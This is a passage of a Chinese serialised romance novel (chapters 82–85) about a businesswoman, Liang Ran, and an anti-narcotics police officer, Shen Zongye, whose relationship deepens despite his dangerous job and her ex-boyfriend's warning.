他们穿着很潮的T恤和衬衫,戴着耳钉,朝气蓬勃,青涩的眼底有学生的稚嫩。 梁然弯了弯红唇,正要说不用。 她不喜欢这种大学生的稚嫩和过于潮气的英俊。 她更青睐沈宗野那种异性。 那种禁于克制之下的英正和绅士,却充满暴徒般的恣野。 对面的男生看向梁然身后,眼睛一愣,整个人连忙从位置上站起来,有一种紧张的被迫。 梁然回过头。 沈宗野站在她身后,他薄唇微抿,深邃的眼眸像携裹着阴雨天的冷冽,淡淡扫了眼那个男生,他明明什么都没说,修长卓立的身躯却有强大的压迫感。 这哪里还是昨天晚上垂着视线,小心翼翼跟在她身后的那个人。 “你喝酒吗?”梁然问。 “不喝,走吧。” 梁然点点头,将杯子里剩下的一点喝完,拎着包起身。 经过刚才那桌男生身边,她笑着挥了下拜拜的手势。 沈宗野走在前头,带着她穿出这家清吧,走向他临时停靠在路边的车子。 上了车,他等梁然系好安全带才发动引擎。 安全带勒得不是很舒服,梁然在座位上挪动,调整着舒服的姿势。 沈宗野淡淡看了她一眼:“你今晚喝多了吗?” “没有,酒只有十几度。” 沈宗野没说话,拐过一个路口后才继续平静地问:“他们俩没送你?” “嗯。”梁然不想解释。 乔思嘉和江凛自然是要送她,但她想让沈宗野来。 她想见他。 “你早上去接我我不知道。” “没事,我顺路而已。” 梁然抿了抿唇,是这样吗。 她侧过脸去看沈宗野,他的侧脸在昏浅的光影下深邃立体。 沈宗野没有看她,只是依旧平静地说起:“林甄是你男朋友么?” 梁然看着沈宗野,他并不会迎上她的视线,专注看着路况。 一直到他的车子开进地下车库,梁然都没有回答他这个问题。 下了车,梁然往电梯走去,直到沈宗野没有跟上,她回过头看他。 他仍坐在车上,降下车窗:“你上去吧,我先走了。” “沈淮宗。” 梁然淡淡叫他的名字。 他看向她,视线平静得像装聋作哑。 梁然说:“我想去你那里看看。” 沈宗野稍显意外。 梁然:“明天晚上我和嘉嘉要飞一趟东城谈个项目,我想把葡萄托你照看两天,你方便吗?” “可以。”沈宗野略一沉吟后说。 “那你等我会儿,我带一下葡萄,把它送去你家。” 沈宗野坐在车上,指尖刮过方向盘,一下一下碾过的应该是他的情绪。 他从来都是个理智的人,只是在江凛那天组的局里冲动现身,闯入现在这一步。 沈宗野在想,他所做的决定到底对吗? 他在车厢里等了有二十分钟,车厢里的歌一直播完了六首。 直到滚轮碾压地板的声音传来,才让他在这片等待里抬起头。 梁然正拉着行李箱,拎着篮子里的葡萄走向他。 沈宗野下了车,来接梁然的行李箱,放进后备箱后又来接她手上的葡萄。 他的手指从她手指上掠过,她的皮肤温热,像从前每一次触碰时的柔软。 那些过往明明如同淬着毒,他明明在过往每一次的接触里厌恶极了她虚假的温柔,但是却在此刻意识到,如今连指尖短暂的接触都像是他站在绿野之上,仰视月亮的奢望。 第82章 第82章国王与夜莺 梁然在楼上除了收拾出差的行李,还卸完了妆,带好了葡萄吃喝拉撒的东西。 沈宗野说:“要准备这么多。” “嗯,葡萄的猫条,玩具,猫砂,还有折叠床。” 沈宗野将车开到熟悉的大道,他家离梁然这里不堵车的话开车要四十多分钟,的确不近了。 到家时已经是晚上十一点,沈宗野下了车,去拎篮子里的葡萄,梁然去后备箱里拿出了行李箱。 沈宗野只以为那箱子里也是葡萄的东西。 他轻车熟路走在前面,刷开电梯,打开房门,弯腰从玄关里拆开一双新的女士拖鞋。 梁然挑起眉:“谁的?” “之前给同事们买的,他们在我这里聚过几次餐。” “哦。” 梁然这才脱下高跟鞋,穿进这双拖鞋里,鞋子有些大,她脚趾往前跑,美甲是温柔的豆沙粉。 沈宗野的家是复式楼,层高不拘束,空间够高,客厅宽敞,装修是极简的灰米色系。 梁然扫过这里每一寸角落,没有看到女性居住的痕迹。 这套房子不算便宜,但梁然不去打探沈宗野的家境背景,她不需要去了解他更多的东西,那并不是她的性格,她也并不想把一些事弄成透明色。 沈宗野取出一瓶水为她拧开,让她在沙发上坐。 他打开葡萄那些东西,将小猫的折叠床铺开。葡萄在新环境里很疯,平时很乖的猫跳到了电视墙上,抓着电视表演起走平衡木。 梁然忍不住笑出一声,沈宗野听到她的笑声抬起头看到葡萄,也弯了弯唇角。 “他不是。” 梁然说:“林甄他不是我男朋友。” 她在回答沈宗野刚才在车上的问题。 沈宗野微顿,猫咪的窝铺好了,他起身,看了她一眼点点头,去厨房洗手。 “他是我前男朋友。” 沈宗野应了一声:“嗯。” 梁然说:“如果我有男朋友,还来你这里,你觉得正常吗?” “沈宗野,你在回避什么呢?” “我没回避什么,我听不懂你说的话。”沈宗野背对梁然,任水流从他手指间穿透。 梁然低笑了声,她的眼神昭昭,毫不避讳他的回避:“你是警察,你的心思比我清晰,你的智商也比我高,你的情绪也应该比我冷静。” “但是你明明知道我愿意让你留在我家里,你却还要再问一遍林甄是谁。你明明知道我没有男朋友……” “我现在知道了。”沈宗野回过身,他的眼神依旧平静,但是那双眼底晦暗不明的深邃还是让梁然读不懂。 她从沙发上起身,拉起她的行李箱问:“我睡哪儿呢?从你这里回去很晚了,我明早不够睡。” 沈宗野这才知道那箱子里是梁然的东西,也才知道她的目的。 但他依旧很平静,既看不出拒绝,也看不出高兴,垂着视线将梁然带到主卧:“你睡我的房间吧,床单被子这些我只睡了一晚,有新的床单还没有拆,我需要找一下……” “那就不用换了。”梁然回身看着沈宗野,“你睡哪里?” “我睡沙发。” 梁然点点头,望着沈宗野。 她的眼睛一动不动,桃花眼里像一片静谧幽深的湖泊。 沈宗野能招架罪恶的毒枭,但是他在这个静谧的眼神下却似乎无路可逃,直到这双眼睛有潮湿的热涌,又被她轻轻眨眼赶退了涌起的热潮。 她抿了抿唇,问他:“案子收网时很激烈吗?” “还好。” “董自新这么坏,肯定很难抓,怎么抓捕的?” “南城宁城联合办案。”沈宗野一笔带过。 “那你受伤了吗?” “我好了。” “我看下你的伤口。” 梁然抬起的手僵在沈宗野后退的步伐下。 青年身躯高大,往后退了一步。 梁然低低一笑:“这么怕我?那我一定是说对了。” 她抬起手解开沈宗野的衬衫纽扣。 纽扣只松开一颗,她的手就被沈宗野按住了。 他看着她,可是此刻的他既没有警察的骁勇,也没有卧底时的凌厉,不像一个暴徒,也不像一个警察。 “你确定要脱我的衣服,看我的伤?” “嗯。” “梁然……” “沈宗野,我想看。我想知道你的案子有多危险,我想知道你为了这个案子付出了多少。”梁然说,“我想知道我的出现在你案子里只是一个插曲,还是打乱了你原本有序的计划。” 梁然说完,解开沈宗野的衬衫纽扣。 他没有在回避,那只按在她手背上的大掌终于痉。挛似地松开。 梁然看到了他左肩紧实的肌肉上子弹打出的瘢痕,还有他腹部壁垒起伏处也有一条手指长的刀痕。结的疤这么粗,当时伤口一定很深。 梁然一动不动,微垂的睫毛有凝视的颤动。 她抚摸他肩上的伤痕,嘴唇落在伤疤上。 沈宗野痉。挛似地握了握手掌,手臂上青色的筋络越加明显。 梁然吻了这道伤疤,又吻上他的喉结。 沈宗野呼吸一滞,捏住梁然双肩看着她。 梁然弯起唇:“我想起我第一次装醉的时候,你把我送到酒店的前台直接就走了,我太蠢了,当时意识不到其实你那个行为本来就不像个罪犯,哪有一个罪犯会对送到眼前的异性无动于衷呢。” “沈宗野,你有在从前的某一次里对我产生过感觉吗?” 沈宗野说没有。 他的眼睛很真挚,梁然信他的话,因为她也没有过。 那个时候她明明在扮演深情,但是每一次都恨透他了。人的感情真是个奇怪的东西,她竟然会在知道他是一名缉毒警察后为他的安危担忧,对他的伤痕怜惜。 梁然从不忽略她内心的情绪,她是个遵从情绪的人。 她吻了沈宗野的唇,很浅的触碰,她看着他说:“现在呢?” 沈宗野喉结滚动,眼眸像深不见底的海域,他时刻将理智悬在警戒线上。 梁然脸颊微仰,吻他薄唇,手指抚过伤口的疤痕。 她的气息像盛夏里的热风潮涌,太过热烈地摧毁一座丰伟的碑。 沈宗野僵硬的身体倏地不再被动,反客为主,侵略闯入她唇齿。 他将她抱到身后的桌上。 她曾经问过他听没听过国王与夜莺的故事,而现在,国王向夜莺垂下了高贵的头颅。 梁然仰起脖子,痉。挛似地抱紧他头颅。 …… 阳光透过窗帘照进房间时,梁然被葡萄抓门的声音吵醒,猫咪在门外一会儿喵呜叫,一会儿咕噜咕噜响。 梁然掀开被子起床,看到客厅沙发上折叠得像豆腐块的空调被,轻轻挑了挑眉。 真能忍,这个男人在沙发上睡了一宿。 客厅里飘起食物的香气,沈宗野端着粥走出厨房,看了她一眼说:“洗漱完来吃早餐吧。” “嗯,早上好。” “早上好。” 梁然洗漱完,简单化了个妆坐到餐桌前。 沈宗野煮了鸡丝粥,做了三明治,里面夹了煎蛋和培根,都是他早上做的。 梁然将中间的生菜叶取下:“我不吃生菜。” “嗯,我记住了。”沈宗野用筷子帮她夹掉。 两人吃起早饭,沈宗野问:“你在美国哪个州念的书?” “费城,宾大。” 沈宗野知道梁然很优秀,但是不知道她毕业于宾大:“很厉害。” 吃过早饭,沈宗野开车送梁然去上班。 沈宗野说:“晚上我来送你?” “好啊,晚上见。” …… 今天的工作在好天气里结束,晚上时,沈宗野跟江凛来接梁然和乔思嘉,四个人一起吃了晚饭才开车驶去机场。 到了航站楼外,乔思嘉和江凛在拥抱,不知道说着什么悄悄话,江凛亲了亲乔思嘉额头。 梁然站在沈宗野车前,两人没说什么,只是聊起猫。 梁然说葡萄最近爱吃西瓜,但不能是冰镇的,常温就好。沈宗野耐心听着,点头。 风吹起梁然的头发,她说完这些停下,时间流淌在这段安静的空白里。 沈宗野看了下腕表:“办理值机了吗?” “线上办理了。” “那也差不多了,进去吧。”沈宗野说,“到了发个信息,回南城了我来接你。” “嗯。”梁然弯起红唇。 这趟航班是宽体机,公务舱的两个座位并排,梁然躺在座椅上敷着面膜,乔思嘉的眼神有些暧昧地落在她身上。 “你和沈淮宗有情况吗,你的猫托他照看了?” “我请他帮我养两天。” “真奇怪,葡萄还挺喜欢他?” 梁然抿了抿唇,嘴角有极轻的笑意。 她没有跟乔思嘉提起过宁城的秘密,也许江凛是知道的,但事情涉及案子,又那么危险,如今已经过去了,她便没有向乔思嘉解释。 “你是不是喜欢这种类型的男人?”乔思嘉挤眉弄眼,“怎么样,姐妹没坑你吧。” “嗯,我喜欢这种类型的,他的手部线条我很喜欢。” 梁然不否认她欣赏沈宗野的身体,那种充满力量感的线条她很喜欢,还有他禁于欲望深处的克制,她也迷恋。 乔思嘉很替梁然高兴,梁然终于不再是孤家寡人了,而且她们俩还是闺蜜,沈宗野又是江凛的发小,这种像带着小说里天作之合的缘分自然令人感到欣喜。 “但我看你们道别的时候也没有什么肢体语言,沈淮宗这么性感的外表原来骨子里还挺老实的,挺正派含蓄的一个人嘛。” 梁然微微挑眉。 正派,含蓄? 似乎不太符合沈宗野,但又有一些类似。 她的脸颊敷着面膜,不知道是飞机狭窄的空间里憋闷的滚烫,还是因为想起脑子里的画面。沈宗野的确含蓄又正派,可是他绝对不算乔思嘉所说的老实,他的吻咬温柔又粗野,染上夜色的眼眸野心昭昭收纳她的颤。栗。 她想起上一次在宁城,那一次和昨晚很像,却又和昨晚不一样。他跪在她身前,昂起国王的头颅,发梢扎在皮肤上的痒仿佛仍清晰可触…… 座椅有些不舒服,梁然拉过毛毯盖住短裙下的双腿,机舱空间太憋闷,梁然身体有些热,向空乘要了一杯加冰的凉茶。 不明所以的乔思嘉:“我也来一杯。” 飞行旅程还有一个半小时,梁然和乔思嘉闭上眼睛休息。 下了飞机后,手机恢复了信号,很多工作信息震动着闯进来,沈宗野的消息在置顶的最上方。 梁然点开。 他说:「葡萄爱吃西瓜,这句话怎么也有点好笑」 文字下面带着一张照片,是白色的猫咪按着一块西瓜在啃。西瓜去了皮,没有籽,果肉红艳,甜滋滋的汁水溢在沈宗野手指上。 葡萄爱吃西瓜,是梁然上飞机前说的话。 走出航站楼,月光满地,一轮月升在夜空,晚风吹起梁然笑着的眼睛。 第83章 第83章“嗯,我喜欢他。”…… 梁然出差只去两天,回程的飞机也是在深夜。 沈宗野这段时间都在休假,是局里给他的奖励,也是希望他休养好身体。 沈宗野最近便只是在同事需要他帮助时才赶去局里。 他在家给葡萄做了牛排,照着网上一个宠物医院账号推荐的食谱,葡萄倒是挺喜欢吃。 还是中午,沈宗野看了眼腕表,梁然的飞机是晚上十点半落地。 沈宗野清理起猫砂盆,茶几上的手机铃声响了,是谢天明的电话。 “沈哥,你是去找梁然了吗?” 沈宗野掀起眼皮:“怎么这样问?” “林甄你还有印象吧?他来局里了,昨天他就来了,今天又来了,我才知道他是来找你。” 谢天明也在带薪休假,只是他住在宿舍,局里的事便第一时间知道。 他昨天看见林甄时不以为然,但是今天又看到了林甄。 高挑帅气的青年坐在大厅里,像是等着人,王局见到他问了一句他是不是有事,他也没说。直到刚才有人从林甄身边经过,应该是林甄认识的,林甄便问他沈宗野在不在。谢天明中午出门吃饭,刚好听到。 “他怎么会找你,是不是因为梁然啊?” 沈宗野开车来到了局里。 林甄依旧坐在大厅等候区的椅子上,青年身高腿长,长相帅气,浑身低调的衣着也掩饰不住贵气质感。 沈宗野走到他身前。 林甄见到他,从椅子上站起来。 沈宗野:“你找我?” 林甄:“是,我来找你。” 沈宗野点点头,转身往门外走。 林甄跟上沈宗野的脚步。 两个青年在食堂外的花园停下。 已经过了饭点,这里没有同事经过,很安静。 林甄开门见山:“你别害了梁然。” 沈宗野迎着林甄的视线,即便已经猜到可能是这个原因,他也很平静礼貌地听着。 “她和你说过她跟我恋爱时被一个吸毒吸嗨了的男生报复,被绑架的事吗?” 沈宗野怔住。 他的怔神让林甄多了一种上风的感觉,林甄冷笑一声:“你什么都不知道。” “她被绑架过,是因为我当时的职业,从那后我们就分手了。沈警官,梁然不会接受一个职业风险系数这么高的男朋友,尤其还是你,省厅屡立战功的缉毒精英。” 下午两点的太阳悬在头顶,很是热辣。 沈宗野一个人站在阳光底下,一阵热风吹来,密不透风贴在脸上,让他的呼吸都有些困难。 谢天明从楼上下来,刚才他一直在窗口偷偷瞧着:“怎么回事啊,都聊了什么?” “没什么。”沈宗野转身往台阶上走。 谢天明一激动说起了雾城方言:“真勒服了,连我也不讲,我难过得要死老!” 沈宗野微微一顿:“我和梁然走近了,他来劝我一声。” “呵呵,他脑壳有病迈?关他啥子事情,你喜欢梁然就要给她说,别人说一哈你就退缩?” 沈宗野回到了家。 谢天明跟着来了他家,一进门发现葡萄也在,高兴坏了,使劲薅起小胖猫,但他也明白过来林甄为什么要找沈宗野了,梁然连猫都放到这里了,还不能说明什么吗。 “你们同居了?” 谢天明是个对感情的理解很单纯的少年,问这话时也只是在替沈宗野开心。 沈宗野说:“没有,只是帮她照看两天葡萄。” “才照看两天啊,今天是第几天?让梁然把葡萄给我也照顾两天呗。” “我明天把猫还给她。”沈宗野说。 谢天明有些恨铁不成钢的表情,但是他也没有恋爱经验,不知道怎么劝动沈宗野,他觉得江凛是沈宗野的发小,应该足够了解沈宗野,于是打了电话告诉江凛。 到了晚上,沈宗野也没有起身出门的意思。 谢天明看着手表:“快九点了,你该开车去机场了吧。” 沈宗野看了谢天明一眼。 “我问江凛了,江凛告诉我的。” 沈宗野说好了今晚去接梁然,看架势现在又不去了。 沈宗野起身说:“陈海找我帮他对个监控,我先去局里了,你走吗?” 谢天明幽怨地看了眼沈宗野,将葡萄从膝盖上放下,去玄关换鞋说:“我才不跟你一起走,好好的假放着不休息,还去加班,脑壳有病!” 沈宗野抿了抿唇,谢天明离开后,客厅里陷入一种安静,一种无法让人平静下来的安静。 沈宗野将葡萄的猫条添了一些,关上房门离开了家。 从家里通往局里的这条路开过很多次了,他应该是无比熟悉的,但是今晚却像走在陌生的大道上,会像迷失,看不清前路,迷茫到拐错了方向。 沈宗野将车停在路边,打了双闪灯。 他沉默地取出一支烟,却不想让自己陷入这种借烟驱愁的状态,将烟塞回了烟盒里。 林甄说“跟她在一起,你只会害了她”。 高挑的青年说这话时眼里带着警告,那股深藏的感情沈宗野不是看不到。 林甄喜欢梁然,他能看出来。 如果换作别人来警告他别的事情,他都可以置之不理,但是林甄说的人是梁然。 如果沈宗野干着一份别的工作,哪怕身份再低,收入再不值一提,他也不会这么退缩。 可是,他的工作是干缉毒,因为缉毒,他的爸爸妈妈离了婚,他的爸爸38岁时牺牲了,他的妈妈得了严重的心理疾病,他们的感情曾经那么好,但是他们却过得并不好。 他生日那天,谢天明喝着AD钙奶问他:“你请不请梁然啊?” 沈宗野没有请梁然。 明明在抓捕董自新那天,他将装置有炸。弹的车开向山崖时就想过他想在生日那天见到梁然,但是真的到了那天,他还是没有主动去联络梁然。 他没立场,也没资格。 江凛组的那个局,他犹豫之后去了。 但是直到现在他都在想,他那天闯入那个局里到底对不对。 他干着一份危险的工作,甚至这不算是一份工作,是他不可撼动的信仰。 他把生命都交托给了这份信仰,那他又能给梁然什么? 梁然住在他家里的那天晚上,她颤。栗地咬着红唇,望着他时那双眼睛漂亮又性感,她在他耳边颤着嗓音说现在换她帮他,他拒绝了。 是他在害怕,他不敢这样轻易地占有她,干缉毒的他们好像连正常人都不算。 沈宗野坐了很久,直到一个电话打入进来。 “你好,沈先生吗,您不在家么?您的鲜花给您送来了,抱歉时间有些晚了,我按了门铃您没开门。” 是沈宗野白天订了一束花,原本准备接机时带给梁然的。 沈宗野淡淡说:“我不在家,麻烦你就放门口吧,谢谢。” 沈宗野重新发动引擎驶入了夜色里。 这片夜色遥遥无尽,一架飞机划过城市的上空,落停在广阔的跑道上。 …… 接机口等着一排来接机的行人。 梁然拉着行李箱,和乔思嘉脸上的甜蜜相比,她神情平淡,没有太多变动的情绪。 手机有了信号后她就收到了沈宗野的信息,那个中午还在问她“航班没有延误吧”的青年晚上时来了微信,说他要加班,不能来接她。 梁然以为沈宗野是真的在加班,如果他只是在工作倒无所谓。但让她不太愉快的是他简短的文字,没有任何解释,也没有一句抱歉或者安慰。 她觉得她不应该多想,直到在接机口看到了谢天明。 青年久违的脸上挂着热情的笑,他和江凛站在一起,梁然便瞬间知道了他也是一名缉毒警察。 “嫂子!”谢天明朝梁然挥手。 梁然走到他身前,他忙接过她的行李箱。 “嫂子,这么久不见,你还是这么好看!”谢天明说这句话时声音有些小声,是江凛说了乔思嘉什么都不知道,让他别透露太多案件的消息。 但乔思嘉还是听到了那声很热情的“嫂子”,凑过来问:“你认识然然呀,是沈淮宗让你来接然然的?” “是啊。”谢天明笑。 谢天明开了车来接梁然,梁然和乔思嘉他们分别,坐上了谢天明的车。 “嫂子,我车买的便宜,你别嫌弃。” “当然不会,谢谢你来接我。” 梁然坐在副驾驶,谢天明将车开离了拥挤的车道后才说:“嫂子,你喜欢沈哥吗?” 梁然抿起唇:“嗯,我喜欢他,但是你为什么会这样问我?” “我就是想知道你喜不喜欢他,既然你喜欢那就OK了,我一定为了你俩的关系全力以赴。”谢天明说今天林甄来找了沈宗野。 梁然听完,才知道原来这才是沈宗野没来接她的原因。 她有些想冷笑,轻轻挑起了眉。 两天前还帮她达到体外的男人转眼又变了脸,真是比她还要无情呢。 谢天明说是因为沈宗野觉得他的工作太危险,不想给她带来什么拖累。他实际也是喜欢她的,哪怕隔了有将近半年的时间,沈宗野也一直在惦念她。 谢天明问梁然要去哪里,梁然说沈宗野的家。 谢天明当即笑着表示:“OK,全力送到!你的使命我必答!” 这句全力送到的意思是把沈宗野全力送到。 谢天明将梁然放到小区门口后就开车往局里赶了。 梁然推着行李箱上了沈宗野家的电梯,手上是谢天明给的门禁卡,谢天明偶尔会在周末来沈宗野这里,有过他的卡。 到了沈宗野家门口,梁然一眼看到了那束靠在门角的红玫瑰。 明亮的地板折起干净的灯光,红玫瑰安静地盛放。 梁然弯起唇,弯腰抱起玫瑰,花的香竟然有丝甜气儿。 她输入起谢天明告诉她的密码,进了房间,和葡萄黏了一会儿,轻车熟路地换鞋,洗澡。 长廊上是沈宗野的脚步声。 沈宗野是在听谢天明刚才回局里说葡萄吃西瓜吃吐了才匆匆赶回来的。 沈宗野打开房门,看清客厅亮着的光,玄关处梁然的高跟鞋,才回过神他被谢天明骗了。 餐桌上放着那束红玫瑰,浴室里传出水花声。 沈宗野走进卧室,梁然的行李箱平放在地板上,床上扔着她的衬衫,短裙,女士内衣。 他抿了抿唇,走出卧室时梁然正好站在门口。 她的长发乌黑,洗过后更卷,带着潮湿的水汽。盛夏里她身上是极薄的吊带睡裙,灯下泛起真丝的缎光。 她看着他,盈盈笑起。 沈宗野移开了视线,回避着她的笑。 梁然的唇弯起得更深。 从小到大她就是一个不服输的人,遇到困难她只会选择迎难而上。 她看上的,又怎么会放过。 第84章 第84章让月亮降落 梁然说:“你回来了。” “嗯,江凛送你过来的,还是小谢?”沈宗野问。 “小谢。”梁然说,“小谢叫什么,他还没告诉我他的名字。” 沈宗野没说话,从梁然身旁侧身经过,走出卧室去了客厅看葡萄。 他蹲下收拾猫砂盆,小胖猫活蹦乱跳,哪里有半分吐的迹象,他还真的以为是他这两天西瓜喂多了。 梁然靠坐在他旁边的沙发扶手上。 “东城这两天天气不好,我们去的时候都下雨,回南城的飞机上窗外月亮圆圆的,我就知道南城白天一定是晴天。” 沈宗野没说话,只是清理好了猫砂盆,换上干净的猫砂。 梁然莞尔:“下了飞机,月光真美,和我走的那天一样。你还记得前天的天气吧?” 沈宗野放下铲子的手顿住,他依旧背对着梁然,但是终于不再沉默,终于开口:“梁然,那天晚上是我冲动了,抱歉。” “哪天晚上啊?”梁然的桃花眼很无辜,“你说你帮我的那次?” 沈宗野在收拾葡萄的玩具,捏紧手上的蓝色小鱼干,他的手背上鼓起青色的脉络。 “没关系,我很快乐。”梁然说,“只是今晚没有看到你去接我,有点遗憾。” 沈宗野背对着她,无声的停顿里继续收起葡萄的玩具。 他想明天一早把梁然和葡萄都送走,这场仰视月亮的野望就到此停止。 梁然却依旧笑着在说:“你看,外边月亮好圆满。我真的很喜欢这种月光满地的夜晚。” 沈宗野收完了玩具,起身去洗手,准备离开,将房子让给梁然今晚居住。 他在厨房擦拭手上的水珠时,梁然从背后环住了他的腰。 沈宗野呼吸猛地一滞,按住梁然的手。 他转过身,梁然仰起的眼睛清纯无辜,带着盈盈的笑。 “梁然……” “沈宗野,你喜欢我吗?” 沈宗野紧闭着薄唇,回避着这个答案。 梁然问:“林甄来找你做什么?” 她没有等他开口,笑着说:“林甄是我前男友,不是我现男友,他没有资格去找你。” 沈宗野终于说:“可我有立场听。” “那你听到什么了?” “梁然,我没办法给你稳定,我的职业可能会在未来的某一天,说不清是今天还是明天,还是哪个时候带给你危险。” “就是因为这个?”梁然好笑,“我以为是情天恨海那种跨不过去的深仇大恨呢。我不觉得你的职业有什么,如果有危险,我自己会躲避或者撤离。” 沈宗野有些不明白,紧望着梁然。 梁然在他紧切的眼神里逐渐敛下笑:“你不会觉得发展了一段关系就要结婚吧?” 沈宗野彻底不明白她,张了张唇。 梁然有些失笑,但她不介意将话说明白:“你喜欢我吗?” 沈宗野没有回答,他的视线在闪烁。 她说:“我喜欢你,我想了想,我还蛮喜欢你的。你的职业的确不是我会选择的伴侣条件,但是不影响现在我对你的喜欢。” 沈宗野好像懂了,他的心脏跳得很快,像有一次卧底时被毒贩用枪试探身份,子弹从耳际擦过,生命从惊险趋于安定的过程。他的心脏此刻就是这场惊险的过程,却在她的一席话里再也无法安定。 他好像是理解了梁然的意思,可是依旧不太明白。 沈宗野张了张唇,喉头紧涩发痛。 梁然的眼神一点点冷了下来,她后退了一步,有些自嘲,也失笑地说:“你不愿意?” 她沉默了很长的几秒:“你的职业确实不是我选择伴侣时会考虑的职业,但是没关系,你不喜欢就算了。” “抱歉,我去收拾葡萄的东西,这两天给你添麻烦了。” 梁然绕过岛台,去收拾落地窗前葡萄的东西。 折叠床有些厚重,她蹲下身拆起暗扣,小胖猫被赶到沙发上,懒洋洋地窝在柔软的毛毯里扫扫尾巴。 梁然费力地折着那些发紧的暗扣,裙摆绕到地板上。 沈宗野的视线穿过客厅昏黄的灯光,紧紧望着这道纤细的身影,卷发滑落在她莹白的皮肤上,她有些费力地折起葡萄的折叠床。 沈宗野喉头紧涩发痛,直到梁然费劲地将折叠床和玩具装好,他大步走过去,握住她手腕。 梁然看着他。 沈宗野迎上她的眼睛。 月光从落地窗外洒落在她长长的卷发上。 “你没有了解过我的收入,我的兴趣爱好,我的家庭,也许我有很多缺点……”沈宗野终于开口,他的嗓音发紧干涩。 梁然也终于弯起唇角:“人都是立体的,是个复杂的生物。我并不想要去看你的另一面,停在这浅薄的喜欢上就好了,沈宗野,你说呢。” 她勾住他后颈,吻他薄唇。 沈宗野紧绷的脊背终于不再僵硬,他撬开她唇齿,粗野地侵入,鼓起青色筋络的手臂从她裙摆下穿过,横抱起她走进卧室。 在东山看海的那个除夕,他们从死神身边擦肩而过,沈宗野将梁然从死亡的边缘夺回。 那条海岸线上,海浪凝结成冰封的白雪,夕阳落在海面,凌厉的风吹起梁然的头发。 沈宗野心动在知道她身份的那一秒,所有她虚假的伪装全部像海潮填满他脑海,他无法否认,他喜欢梁然,喜欢到愿意为了斩断所有与她安全有关的危险,去挨向邬道那一刀。 如果只需要付出他单向的痛苦,就能让月亮临时降落。 那他甘愿。 凌晨三点,夜色极深,月光放肆地明媚。 沈宗野眼里还是会震撼,排山倒海的愧疚。 “你是第一次……”他忽然就后悔了。 梁然挑了挑眉,枕在他手臂上,闭上眼:“难道以前你没相信吗?” 那时候她戏做得那么真,沈宗野自然没信,何况他知道林甄,早就默认接受了她的一切。 后悔已经晚了,事实全部发生了,沈宗野握了握拳,拉过梁然揽在他腰间的手臂,吻了吻她手腕。 “睡吧,明早我送你去上班。” “沈宗野……” “嗯?” 梁然累极了,已经睡了过去。沈宗野静静看着她,吻了吻她额头,一动不动拥着她很久,直到梁然沉沉地睡着。 沈宗野小心地起身,系着慵懒宽松的睡衣纽扣,坐到客厅落地窗前点燃一支烟。 葡萄好像知道发生了什么,眯眯眼惬意地冲他喵呜叫了一声,漂亮的小胖猫懒洋洋地继续窝在沙发上睡觉。 骨节分明的指尖夹着一支细支烟,沈宗野看着窗外的夜色一点点透白,月亮逐渐消失在这场即将透彻的白昼下。 月亮短暂地为他降落过,就足够了吧。 …… 梁然早起时,餐桌上是沈宗野做的早餐,两碗红糖黑米粥,一碟蒸饺与水煮蛋、玉米。 红糖黑米粥很稠,昨晚他们睡得那么晚,梁然不知道沈宗野几点起来熬的粥。 “粥是成品还是你做的?” “我做的,你不喜欢吃甜的?” “没有,挺好吃的。”梁然问他,“你起得很早吗?” 沈宗野笑了下:“还好。” “你好像很会做饭。” “以前给我家人做过。”沈宗野说,“快吃吧,今天你上班迟到了。” 时间已经早上九点半了,梁然说:“迟到就迟到,反正我是老板。” 沈宗野好笑地抿起薄唇。 梁然没有顺着沈宗野的话去问他的家人,这段关系她已经说得很清楚了,他们之间维系这种单纯的喜欢就可以了。 吃过早餐,沈宗野将梁然送到公司楼下:“我回去收拾你的行李,把葡萄送到你那里。” 梁然挑起眉:“沈宗野,你在赶我走么?” “当然不是,你住我那里太远了。” 梁然这才面色稍霁:“嗯,你也可以等我下班了一起和你收拾。” 她看着他,终于笑了下,桃花眼里很温柔,这种温柔梁然面对梁悦时才会自然地显露,她自己自然看不清此刻这双温柔的眼睛。 沈宗野坐在车上,也深深看她一眼:“去上班吧。” 梁然走向了电梯,直到回头朝通道口望去,沈宗野也依旧停在那里,目送她进电梯。 乔思嘉对于梁然这个素来不会迟到的工作狂人今天破天荒地迟到,感到非常震惊,尤其是梁然走进办公室时如沐春风,眼睛里是微笑的。 “然然,你昨天晚上干什么去了?” “我和他在一起了。”梁然没有隐瞒乔思嘉,笑着给出答案。 乔思嘉太意外了,也很开心,她觉得梁然终于不再是孤家寡人了,为当初给他们牵线的决定感到正确,脸上挂着很有功劳的得意。 这会儿不是聊闺蜜间私事的时候,出差回来要推进的项目亟待处理,梁然和乔思嘉开完会,才在午饭的间隙里聊起天。 公司楼下的一家餐厅,乔思嘉和梁然两个人在吃午饭。 乔思嘉眼神颇有些暧昧:“验收成果怎么样?” “你好八卦。” “跟我说一下嘛,我的都跟你说了。” “我很满意。”梁然说。 她本来就不是张扬的性格,清冷理智,日常给人高不可攀的印象,聊起隐私还是会觉得脸颊生起一抹烫。 但是她确实对沈宗野很满意。 那个在宁城把心理阴影演得那么逼真的青年,和她眼里诗意的暴徒原来极似,他可以撑起狂风暴雨,也能温柔地把粗野本性克制在欲望下。 乔思嘉替梁然高兴的同时又有点疑惑:“你不是不喜欢他职业嘛,现在想通了?” “我是介意他职业,但是我不用去改变他。”梁然淡淡抿唇,“改变我自己的观点就好了,及时行乐就够了。” 乔思嘉没听明白:“什么意思,你没来真的?” “什么是真的?” “你不是真喜欢沈淮宗吗?” “我是真的喜欢他。”梁然说,“但我也更爱我自己,我不会允许他打破我的规则。” 乔思嘉看着淡定的梁然,终于懂了她的意思,乔思嘉心情有些复杂,但也转瞬就能理解梁然:“好姐妹,我得向你学习。” “你没问题,是我太恋爱脑了。今天起我就向你好好学习!” 不过乔思嘉还是默默向沈宗野默哀了三秒钟,这么优秀的男人也会被美女短择,人真的是个复杂的生物。 第85章 第85章越界 沈宗野送完梁然就回到了家。 先是收拾好桌上来不及清理的早餐,又喂完葡萄才走进卧室。 梁然早起时没有叠被子的习惯,她只是随手把被子铺平。 沈宗野打开窗,掀起薄薄的空调被。 床单上一团凝固的血渍,像一朵盛放得极致灿烂的玫瑰。 沈宗野将一切都收拾干净,带上葡萄回到梁然的家。 季阿姨是有些意外的,看沈宗野将葡萄带回来,看葡萄对沈宗野这么熟悉,默懂了一切。 不过沈宗野很守规矩,在梁然这里只坐在客厅和葡萄玩。 季阿姨提前完成今天的工作便又向梁然请了假,并且在微信上说:「沈先生真是一个礼貌的人,身上一股正气,是个很特别的年轻人。」 季阿姨离开后,沈宗野收到梁然的微信。 她说:「我想请小谢吃顿饭,你看可以吗?」 